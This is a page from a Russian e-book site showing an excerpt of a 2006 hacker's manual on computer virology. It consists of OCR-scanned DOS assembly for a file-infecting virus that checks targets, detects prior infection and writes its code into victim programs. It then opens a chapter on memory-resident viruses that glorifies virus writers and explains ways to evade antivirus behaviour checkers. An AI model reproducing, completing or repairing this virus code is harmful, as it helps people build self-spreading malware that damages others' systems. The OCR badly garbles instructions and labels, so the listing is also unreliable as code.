Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 32 33 34 35 36 37 < 38 > 39 40 41 42 43 44 .. 123 >> Следующая

int 21Н
jc РОК_ЕХГГ_С ;не открывается, выйти с установкой флага с mov bx.ax
поместить индекс файла в Ьх mov ах,4202Н ;искать конец файла
хог сх.сх перемещение от конца = О
xor dx.dx
int 21Н ;dx:ax содержит размер файла jc FOK_EX!T_CCF дойти, если не
неудачно or dx.dx ;если размер файла > 64К, выйти jnz FOK_EX!T_CCF ;с
установкой флага с mov сх.ах поместить размер файла в сх
add ax.OFFSET HOST {добавить Simple + размер PSP ;к размеру жертвы cmp
ax.OFFOOH ;найдется ли 100Н байтов для стека? jnc FOK_EXIT_C ;нет, выйти
с установкой флага с push сх дохранить размер жертвы д ля будоцего
использования mov ах,4200Н перестановка указателя файла хог сх.сх
xor dx,dx ;на начало файла
int 21Н pop сх push сх
mov ah,3FH подготовка к чтению файла
mov dx.OFFSET HOST ;в локации жертвы
int 21Н дополняем
pop dx ; размер жертвы теперь в dx
jc FOK_EXTT_CCF ;при неуд аче выход с установкой флага с
mov si, 10ОН {проверяем 20 байтов и смотрим
mov di,OFFSET HOST ;был ли файл уже инфицирован
127
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov сх,10
repz cmpsw выполняем
jz FOK_EXTT_CCF ;уже инфицирован, тогда выходим cmp WORD PTR
cs:[HOST],'ZM' {неужели это EXE? jz FOK_EXTT_CCF да, выход с установкой
флага с dc ;все системы запущены в д ействие, очищаем флаг переноса ret
;и выходим из подпрограммы
FOK_EXIT_CCR
mov ah,3EH {закрываем файл
int 21Н
FOK_EXIT_C:
stc {установка флага переноса
ret ;и возврат
Эта подпрограмма инфицирует файл, обнаруженный с помощью FINDFILE.
INFECT_FILE:
push dx {сохранить первоначальный размер жертвы mov ах,4200Н
{переустановка указателя файла хог сх.сх
xor dx.dx ;на старт файла int 21Н
pop сх {первоначальный размер жертвы в сх
add сх,OFFSET HOST - 100Н {добавить к нему размер вируса
mov dx,100H ;старт зараженного образа
mov ah,40H {записать файл
int 21Н
mov ah,3EH {закрыть файл int 21Н
ret ;и выйти
Здесь начинается программа жертвы. В данном листинге жертва просто
выходит в DOS.
HOST:
mov ах,4С00Н {выход в DOS
int 21Н end EXAMPLE
128
Глава 4. Вирус - резидент памяти
Книга книг изумительным образом описывает классификацию вирусов. Мы снова
обращаемся к 49 главе Бытия: "Завулон при береге морском будет жить и у
пристани корабельной, и предел его до Сидона." (Быт 49,13) Это - ни что
иное, как аллегорическое описание вирусов, ставших резидентами памяти.
Они живут у моря памяти, у корабельной пристани блоков управления, и
пределом их является верхняя память - Сидон.
Почему классификация людей (сыновы Иакова) так хорошо подходит для
классификации вирусов? Потешу что мы создали вирусы по образу и подобию
своему! По образу и подобию нашего Создателя! Ибо он есть ВИРУС первого
поколения, давший начало всем остальным существам, наделенным сознанием!
Из е Черного гримуара"
величайшего визарда Dark Avengera
Вирусы, резиденты памяти, отличаются от направленно действующих вирусов
(которые мы обсуждали до этих пор) тем, что при своем выполнении они
прячутся в памяти компьютера. При первом выполнении они не могут напрямую
инфицировать программы. Эти "зверушки" сидят в памяти и ждут момента,
когда другие программы станут доступными. Вот тогда они и инфицируют свои
жертвы. То есть сначала вирус должен найти способ назначить для себя
память - или, (_
129
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
другими словами, ему требуется найти место, чтобы спрятаться. Далее
вирусу нужно организовать процедуру, чтобы активировать резидентный код
для инфицирования файлов.
Исторически, сложилось так, что резидентные вирусы оказались более
мобильными, чем направленно действующие вирусы. Самые живучие и проворные
вирусы в мире, как правило, относятся к классу резидентов памяти.
Это вполне объяснимо: резидентные вирусы могут прыгать через директории и
диски, следуя за пользователем, когда тот работает на своем компьютере.
Здесь не требуется никакого хитроумного кода. Кроме того, резидентные
вирусы выполняют инфекцию лучше, чем вирусы направленного действия.
В этой главе мы рассмотрим две часто используемые процедуры, с помощью
которых назначается память для вирусного кода.
Первый метод использует TSR (Terminate-Stay-Resident - прервать
выполнение и остаться резидентом памяти) функцию 31h прерываний 27h или
21h. К сожалению, он очень очевиден. Такие техники хороши в системах
беззаботных пользователей, которые не ожидают появления вируса. Но
нынешнее обилие поведенческих чекеров в антивирусных пакетах не позволяют
свободного использования функциональных вызовов.
Если какая-то компьютерная программа не была резидентом и вдруг им стала,
пользователь тут же заподозрит вирус или поведенческий чекер предупредит
его о возможной угрозе. Поэтому, как правило, современные вирусы не
используют явных методов для того, чтобы стать резидентами памяти.
Второй метод (более безопасный для вируса) включает в себя манипуляции с
блоками контроля памяти. Нам предстоит ознакомиться с некоторыми
особенностями этих двух методов. Чтобы активировать резидентный код,
Предыдущая << 1 .. 32 33 34 35 36 37 < 38 > 39 40 41 42 43 44 .. 123 >> Следующая